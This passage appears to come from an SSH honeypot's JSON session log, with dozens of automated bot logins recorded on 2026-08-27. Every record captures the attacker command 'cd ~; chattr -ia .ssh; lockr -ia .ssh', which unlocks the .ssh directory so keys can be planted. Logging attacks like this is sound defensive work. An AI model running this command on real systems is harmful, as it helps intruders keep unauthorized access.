"SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 304, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:35:12.681924+00:00", "ended_at": "2026-08-27T11:35:14.122034+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2128 }, { "id": "179f1b43-15f9-4ddc-bfe6-fc456e9b1d7a", "name": "gallant-arctic-chickadee", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 59104, "username": "user14", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 457, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:34:39.408017+00:00", "ended_at": "2026-08-27T11:34:40.897661+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2203 }, { "id": "f4008271-0046-4efb-9787-d756955e2972", "name": "boreal-twilight-wagtail", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 38424, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 758, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:33:58.399131+00:00", "ended_at": "2026-08-27T11:33:59.737573+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2249 }, { "id": "ff093cec-f590-4c1c-bd7f-e90971facd80", "name": "inland-tender-vulture", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 55966, "username": "anu", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 349, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:33:52.709062+00:00", "ended_at": "2026-08-27T11:33:53.939195+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2057 }, { "id": "6227696f-f72d-4455-b05d-6bf07c9df165", "name": "gloomy-lanky-grouse", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 49668, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 264, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:33:34.784949+00:00", "ended_at": "2026-08-27T11:33:36.983931+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2280 }, { "id": "1000f9a7-5a10-4144-8b34-43e7dbc7b374", "name": "emerald-regal-penguin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 57586, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 295, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:33:13.248082+00:00", "ended_at": "2026-08-27T11:33:14.551311+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2117 }, { "id": "030de59d-01f2-4271-a646-497462f59b23", "name": "velvet-barren-ibex", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 37188, "username": "deployer", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 329, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:31:59.093176+00:00", "ended_at": "2026-08-27T11:31:59.758305+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2055 }, { "id": "08c1f23a-db2c-4621-aca2-db71ff9f4baa", "name": "fleeting-foggy-curlew", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 59086, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 463, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:31:49.000113+00:00", "ended_at": "2026-08-27T11:31:50.368150+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2249 }, { "id": "3ed84bb1-120d-46aa-8e06-a66eae36dbb3", "name": "patient-calm-parakeet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 55448, "username": "sysop", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 264, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:31:40.849882+00:00", "ended_at": "2026-08-27T11:31:43.052074+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2213 }, { "id": "439ccd49-b4b1-4e21-8cc7-4c818ee8528b", "name": "loyal-vernal-pochard", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 59900, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 770, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:31:08.661148+00:00", "ended_at": "2026-08-27T11:31:10.206764+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2234 }, { "id": "05ba90af-81c7-4248-812c-218af65de5d7", "name": "rambling-kindly-ferret", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 54726, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 300, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:31:08.652883+00:00", "ended_at": "2026-08-27T11:31:09.337804+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2106 }, { "id": "75e0d1c1-2119-4298-b11c-7305bd833462", "name": "barren-western-ibex", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 55158, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 350, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:29:53.805813+00:00", "ended_at": "2026-08-27T11:29:54.454812+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2095 }, { "id": "4112604a-250e-44d3-9f97-5af87a43efea", "name": "golden-ivory-coyote", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 45946, "username": "dmp", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 261, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:29:39.321131+00:00", "ended_at": "2026-08-27T11:29:40.409917+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2206 }, { "id": "7338cb8b-e99c-4638-9e23-187ab0939eab", "name": "northern-granite-heron", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 47946, "username": "yf", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 293, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:28:57.550615+00:00", "ended_at": "2026-08-27T11:28:58.161223+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2032 }, { "id": "21e6d30b-88fb-4bb2-b82f-051f6e4f2907", "name": "meadow-humble-barbet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 59058, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 458, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:28:52.029580+00:00", "ended_at": "2026-08-27T11:28:53.124626+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2238 }, { "id": "a705bec3-cd3b-4e7e-8f91-ab00f2b4ef8a", "name": "salty-hazy-antelope", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 47314, "username": "suhail", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 762, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:28:11.670538+00:00", "ended_at": "2026-08-27T11:28:12.932115+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2174 }, { "id": "9045f81a-9116-4ae4-a163-1edf5f52e5a7", "name": "foggy-crimson-wombat", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 47924, "username": "elasticsearch", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 264, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:27:39.747860+00:00", "ended_at": "2026-08-27T11:27:40.968013+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2229 }, { "id": "c6b51dd0-0841-4892-9530-919ad3905d4e", "name": "coastal-noble-fossa", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 59022, "username": "gitlab", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 457, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:26:05.452188+00:00", "ended_at": "2026-08-27T11:26:07.004443+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2186 }, { "id": "1e946322-b3b0-4a41-8174-8fdf7e3823c4", "name": "nautical-fleeting-kingfisher", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 38880, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 261, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:25:47.741804+00:00", "ended_at": "2026-08-27T11:25:48.902807+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2238 }, { "id": "91abbb7b-49ed-451c-8cfe-7e9478c5b09f", "name": "bronzed-lawful-otter", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 40558, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 771, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:25:23.670426+00:00", "ended_at": "2026-08-27T11:25:24.758400+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2216 }, { "id": "c8840f8d-e482-4e77-9d9f-92a5ac859bb2", "name": "weathered-hollow-fieldfare", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 55546, "username": "pc", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 265, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:23:50.913027+00:00", "ended_at": "2026-08-27T11:23:52.864007+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2166 }, { "id": "c58e1721-0fd6-46fd-a197-2dbcadda5834", "name": "somber-merry-goldfinch", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 58992, "username": "jose", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 461, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:23:21.713753+00:00", "ended_at": "2026-08-27T11:23:22.669445+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2151 }, { "id": "a75cc1be-52de-4db0-b1cf-2d5b0e5e628d", "name": "lucid-rustic-penguin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 48652, "username": "sendmail", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 758, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:22:38.955943+00:00", "ended_at": "2026-08-27T11:22:40.081557+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2160 }, { "id": "06819c64-1c2e-4244-8d27-8af746526dd0", "name": "faded-supple-capuchin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 60158, "username": "es", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 263, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:21:53.904943+00:00", "ended_at": "2026-08-27T11:21:54.796116+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2165 }, { "id": "24d7c804-9fde-44f8-8e50-745fa44a1dfe", "name": "buoyant-frank-dingo", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 58984, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 457, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:20:44.739478+00:00", "ended_at": "2026-08-27T11:20:45.964341+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2205 }, { "id": "10b309e8-a210-4ea5-9afb-99553f4e9272", "name": "hidden-vernal-boar", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 38484, "username": "user", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 259, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:19:55.134526+00:00", "ended_at": "2026-08-27T11:19:57.060505+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2156 }, { "id": "65b2be7b-71af-49b5-95cc-5a8bc3517970", "name": "quaint-umber-gannet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 43774, "username": "newusername", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 769, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:19:54.975918+00:00", "ended_at": "2026-08-27T11:19:56.508392+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2152 }, { "id": "d0642adb-af0b-4529-9eda-cb5c44c3472a", "name": "thorny-gritty-chough", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 58958, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 446, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:18:08.352740+00:00", "ended_at": "2026-08-27T11:18:09.823471+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2194 }, { "id": "31ecbce0-c621-4368-93f6-d98c1d670970", "name": "dapper-scarlet-owl", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 34484, "username": "cri", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 275, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:17:55.068839+00:00", "ended_at": "2026-08-27T11:17:56.991047+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2130 }, { "id": "bb6850c9-3610-49ea-a531-8970c147c7ab", "name": "foggy-alpine-lark", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 37220, "username": "sftpuser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 747, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:17:14.435360+00:00", "ended_at": "2026-08-27T11:17:15.792348+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2134 }, { "id": "8b27942d-0dcd-45e3-a7e8-f4ed857f93af", "name": "indigo-lunar-capuchin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 41584, "username": "internet", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 263, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:15:51.417278+00:00", "ended_at": "2026-08-27T11:15:52.767016+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2134 }, { "id": "08395037-5832-4e3f-ac30-55c5752178df", "name": "glacial-arctic-dunlin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 58916, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 454, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:15:26.463226+00:00", "ended_at": "2026-08-27T11:15:27.965331+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2183 }, { "id": "ae0985ff-60a2-4fe7-9505-b9d26e2b9f6a", "name": "orderly-lanky-panther", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 43652, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 755, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:14:14.600211+00:00", "ended_at": "2026-08-27T11:14:15.820123+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2172 }, { "id": "2e967db4-e8dc-48f0-bae9-84ed39ef9def", "name": "painted-wry-egret", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 55470, "username": "soporte", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 265, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:13:56.109836+00:00", "ended_at": "2026-08-27T11:13:57.448176+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2130 }, { "id": "4ce1b0fb-5f53-4d10-8e3e-dbd643796021", "name": "spirited-dewy-hamster", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 58878, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 460, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:12:44.677709+00:00", "ended_at": "2026-08-27T11:12:45.956673+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2172 }, { "id": "a04af3ce-123f-4997-8f7b-0701550677b7", "name": "coastal-wry-brambling", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 45448, "username": "zy", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 265, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:11:54.590641+00:00", "ended_at": "2026-08-27T11:11:55.801473+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2108 }, { "id": "2b2de2d6-4bc6-4bb3-a551-2b3ef1f221f4", "name": "serene-woven-meerkat", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 59536, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 771, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:11:27.267098+00:00", "ended_at": "2026-08-27T11:11:28.802420+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2159 }, { "id": "a220ef4d-9bf8-4bf3-b410-3e6e2c56c42c", "name": "boreal-vaulted-marten", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 58856, "username": "ymoreno", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 447, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:09:59.421924+00:00", "ended_at": "2026-08-27T11:10:00.922018+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2111 }, { "id": "d1b1c94f-b001-4553-89af-c3e4fe3bb98a", "name": "brazen-bashful-guanaco", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 46148, "username": "user10", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 263, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:09:53.807461+00:00", "ended_at": "2026-08-27T11:09:56.028502+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2099 }, { "id": "952a6526-a6a7-456f-9045-e3ed0686f432", "name": "sterling-blithe-marten", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 48948, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 771, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:08:37.479205+00:00", "ended_at": "2026-08-27T11:08:38.769725+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2148 }, { "id": "b8acf46f-d88e-4167-b602-de532992d0f5", "name": "fearless-indigo-chamois", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 52358, "username": "u2", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 263, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:08:02.641859+00:00", "ended_at": "2026-08-27T11:08:04.185810+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2084 }, { "id": "0bd93430-fa3f-493c-8f5e-ffa7719fcc05", "name": "sunlit-orderly-tanager", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 58830, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 450, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:07:12.995333+00:00", "ended_at": "2026-08-27T11:07:13.977959+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2148 }, { "id": "1a2b8542-1f42-4ca1-8cf9-960379fe54f9", "name": "candid-lucid-goose", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 54274, "username": "omni", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 264, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:06:08.039876+00:00", "ended_at": "2026-08-27T11:06:09.411603+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2069 }, { "id": "33ab2b22-eb26-47c3-88a8-dfa1c7ba5976", "name": "wry-woven-mink", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 58808, "username": "talha", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 444, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:04:33.095156+00:00", "ended_at": "2026-08-27T11:04:34.570908+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2083 }, { "id": "e55a5425-53b1-4040-9d4e-3fe62324749d", "name": "burly-sturdy-muntjac", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 54118, "username": "dockeruser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 761, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:04:17.340805+00:00", "ended_at": "2026-08-27T11:04:18.702216+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2096 }, { "id": "46d56f95-b821-4afb-8d34-210d96db9b95", "name": "wandering-bitter-gibbon", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 55534, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 265, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:03:57.440172+00:00", "ended_at": "2026-08-27T11:03:58.593009+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2117 }, { "id": "9598293c-4e4b-4588-8ea4-83ce83aaed8c", "name": "rugged-cobalt-grouse", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 58780, "username": "manish", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 459, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:01:52.129387+00:00", "ended_at": "2026-08-27T11:01:53.090909+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2079 }, { "id": "5932f125-89d9-4bdf-b36a-1ec913c4ed94", "name": "cheerful-graceful-ptarmigan", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 35232, "username": "rahim", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 259, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:01:46.289962+00:00", "ended_at": "2026-08-27T11:01:46.840537+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2050 }, { "id": "04ea648e-eb3a-4197-afa5-799e6ab971c2", "name": "obsidian-bitter-brambling", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 34330, "username": "marco", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 763, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T11:01:36.654589+00:00", "ended_at": "2026-08-27T11:01:38.022511+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2070 }, { "id": "77608f33-c01d-44ce-bba6-fec8bce21a5a", "name": "dutiful-tranquil-ibex", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 58746, "username": "sftpuser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 455, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T10:59:12.587881+00:00", "ended_at": "2026-08-27T10:59:14.024809+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2068 }, { "id": "5f489023-1027-4c61-b7d2-92cb12f9752c", "name": "subtle-peaty-lemur", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 53066, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 743, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T10:59:04.382355+00:00", "ended_at": "2026-08-27T10:59:05.668772+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2117 }, { "id": "0511a491-8962-4b6e-9d52-4b74bded357f", "name": "deft-woven-sloth", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 36854, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 263, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T10:57:40.362900+00:00", "ended_at": "2026-08-27T10:57:41.025107+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2093 }, { "id": "68496739-8a9a-467b-94a5-acefe8419b5b", "name": "breezy-calm-tapir", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 57250, "username": "ubuntu", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 770, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T10:56:28.265960+00:00", "ended_at": "2026-08-27T10:56:29.023573+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 